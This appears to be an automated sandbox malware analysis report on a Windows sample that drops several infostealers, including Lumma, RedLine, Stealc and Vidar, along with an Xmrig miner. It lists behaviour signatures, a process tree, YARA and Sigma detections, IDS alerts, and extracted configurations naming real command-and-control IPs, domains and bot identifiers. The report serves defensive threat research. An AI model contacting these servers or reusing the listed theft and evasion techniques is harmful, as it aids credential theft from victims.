Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1513121
MD5:	2384147d776a89133c297e95130c100a
SHA1:	96e1d0e0d6bcea020b4b33b7374f6372730f063f
SHA256:	4b5ebae450e293ef4c62d3f57738bbbf33db5e28f987ed02bef8320271adaba2
Tags:	NETexeMSIL
Infos:

Detection

LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected Socks5Systemz

Yara detected Stealc

Yara detected UAC Bypass using CMSTP

Yara detected Vidar

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

Yara detected zgRAT

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Changes security center settings (notifications, updates, antivirus, firewall)

Contains functionality to inject code into remote processes

Drops PE files to the document folder of the user

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Installs new ROOT certificates

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Enables debug privileges

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SgrmBroker.exe (PID: 6392 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 7116 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5992 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2344 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5520 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

file.exe (PID: 1200 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2384147D776A89133C297E95130C100A)

RegAsm.exe (PID: 2724 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

dFpuQ1Q9a79sUJWPwukBnd_d.exe (PID: 576 cmdline: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe MD5: FEDE424830238CF2C2E661B5CB12E584)

conhost.exe (PID: 4016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5204 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 792 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6200 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 1056 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 1792 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Mp4Oumo4WN7EZ3kT28qf8R4b.exe (PID: 6828 cmdline: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe MD5: 6C2DB0EF90B27F880A1566DE7711E6C6)

jAdtQht6EyohpXB8jxj0sYtp.exe (PID: 2056 cmdline: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe MD5: ABDBCC23BD8F767E671BAC6D2FF60335)

jAdtQht6EyohpXB8jxj0sYtp.exe (PID: 1260 cmdline: "C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe" MD5: ABDBCC23BD8F767E671BAC6D2FF60335)

jAdtQht6EyohpXB8jxj0sYtp.exe (PID: 6364 cmdline: "C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe" MD5: ABDBCC23BD8F767E671BAC6D2FF60335)

WxZ3BbtftdHbX6Ud8IQWTcja.exe (PID: 2196 cmdline: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe MD5: 272B330726DEC4ADD609E0D8025D71B7)

conhost.exe (PID: 1748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5988 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 3268 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 2092 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 2508 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

oLvXEE2e9pIf4hDzNZ63ennK.exe (PID: 1168 cmdline: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe MD5: A0C6989730B44EE30722FECCD86D946B)

conhost.exe (PID: 1888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 4260 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 5340 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Wzy1vqDHala63jbsaIZzYTRV.exe (PID: 1252 cmdline: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe MD5: 64D93F350EB366B3BFAFDB294F78ADB1)

conhost.exe (PID: 1840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5220 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

yKAghydJJ_QMtGbXeHXJyp3j.exe (PID: 3824 cmdline: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe MD5: 8BC957246166F6B5D99C1B63D34DD663)

cmd.exe (PID: 5572 cmdline: "C:\Windows\System32\cmd.exe" /c move Liverpool Liverpool.bat & Liverpool.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sTd4WXsFge4OZIqww_UHT8nz.exe (PID: 1272 cmdline: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe MD5: 7F8B798B110AC4A6898922F87EA59530)

sTd4WXsFge4OZIqww_UHT8nz.tmp (PID: 3752 cmdline: "C:\Users\user~1\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp" /SL5="$20438,2798896,56832,C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe" MD5: 5BB9B9DE0317E5A96DBFD2FD3D94DA85)

jekkyvideoeditor32.exe (PID: 1496 cmdline: "C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe" -i MD5: 33CF6AAAFE24470F75EA87BBB8E1A8D3)

EZWvE2OrmenaDZlccT1Fi95O.exe (PID: 1516 cmdline: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe MD5: 2422F05C5FD9FD0844A8BDA0A1281C22)

1kJcLONuhYBrg8epyyTMPvIE.exe (PID: 3020 cmdline: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe MD5: D60D266E8FBDBD7794653ECF2ABA26ED)

cxK4jj62SNPYFZVNj3t4MZg_.exe (PID: 1588 cmdline: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe MD5: 8E3FB69A56D807D7EF1C432EA1590496)

conhost.exe (PID: 1860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 2156 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 3672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3032 cmdline: C:\Windows\system32\svchost.exe -k LocalService -s W32Time MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2780 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["tryyudjasudqo.shop", "reggwardssdqw.shop", "keennylrwmqlw.shop", "licenseodqwmqn.shop", "sentistivowmi.shop", "tesecuuweqo.shop", "relaxatinownio.shop", "tendencctywop.shop", "eemmbryequo.shop"], "Build id": "a8kafm--@cloudcosmic"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199768374681", "https://t.me/edm0d"], "Botnet": "7c6457601c7a62cd71a28cded7d5f5be"}

Threatname: RedLine

{"C2 url": "193.233.255.84:4284", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000016.00000002.1736136504.0000000003685000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002B.00000002.2247859722.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002B.00000002.2247859722.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000021.00000002.1573411911.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002B.00000002.2314092465.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002C.00000002.2778026590.0000000002C61000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
0000000D.00000002.1815283104.00000000023D0000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000010.00000002.1762946732.0000000003FA5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000002.1890496546.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002C.00000002.2778125105.0000000002D01000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000027.00000002.1854151325.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1200	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: dFpuQ1Q9a79sUJWPwukBnd_d.exe PID: 576	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: dFpuQ1Q9a79sUJWPwukBnd_d.exe PID: 576	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: dFpuQ1Q9a79sUJWPwukBnd_d.exe PID: 576	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: jAdtQht6EyohpXB8jxj0sYtp.exe PID: 2056	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: WxZ3BbtftdHbX6Ud8IQWTcja.exe PID: 2196	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: oLvXEE2e9pIf4hDzNZ63ennK.exe PID: 1168	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: EZWvE2OrmenaDZlccT1Fi95O.exe PID: 1516	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: EZWvE2OrmenaDZlccT1Fi95O.exe PID: 1516	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x431e9:$s1: file:/// 0x43145:$s2: {11111-22222-10009-11112} 0x43179:$s3: {11111-22222-50001-00000} 0x40341:$s4: get_Module 0x3ab03:$s5: Reverse 0x3b853:$s6: BlockCopy 0x3aacc:$s7: ReadByte 0x431fb:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
16.2.oLvXEE2e9pIf4hDzNZ63ennK.exe.3fa5570.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
43.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
43.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
33.2.RegAsm.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
33.2.RegAsm.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
33.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44fe9:$s1: file:/// 0x44f45:$s2: {11111-22222-10009-11112} 0x44f79:$s3: {11111-22222-50001-00000} 0x42141:$s4: get_Module 0x3c903:$s5: Reverse 0x3d653:$s6: BlockCopy 0x3c8cc:$s7: ReadByte 0x44ffb:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
16.2.oLvXEE2e9pIf4hDzNZ63ennK.exe.3fa5570.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
43.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
43.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44fe9:$s1: file:/// 0x44f45:$s2: {11111-22222-10009-11112} 0x44f79:$s3: {11111-22222-50001-00000} 0x42141:$s4: get_Module 0x3c903:$s5: Reverse 0x3d653:$s6: BlockCopy 0x3c8cc:$s7: ReadByte 0x44ffb:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp" /SL5="$20438,2798896,56832,C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp" /SL5="$20438,2798896,56832,C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp, NewProcessName: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp, OriginalFileName: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp, ParentCommandLine: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe, ParentImage: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe, ParentProcessId: 1272, ParentProcessName: sTd4WXsFge4OZIqww_UHT8nz.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp" /SL5="$20438,2798896,56832,C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe" , ProcessId: 3752, ProcessName: sTd4WXsFge4OZIqww_UHT8nz.tmp

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, ProcessId: 7116, ProcessName: svchost.exe

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:55.857924+0200	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.7	60614	1.1.1.1	53	UDP

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:33.810710+0200	2028765	3	Unknown Traffic	192.168.2.7	49735	91.107.146.245	443	TCP
2024-09-18T14:30:36.053537+0200	2028765	3	Unknown Traffic	192.168.2.7	49737	91.107.146.245	443	TCP
2024-09-18T14:30:38.509902+0200	2028765	3	Unknown Traffic	192.168.2.7	49739	91.107.146.245	443	TCP
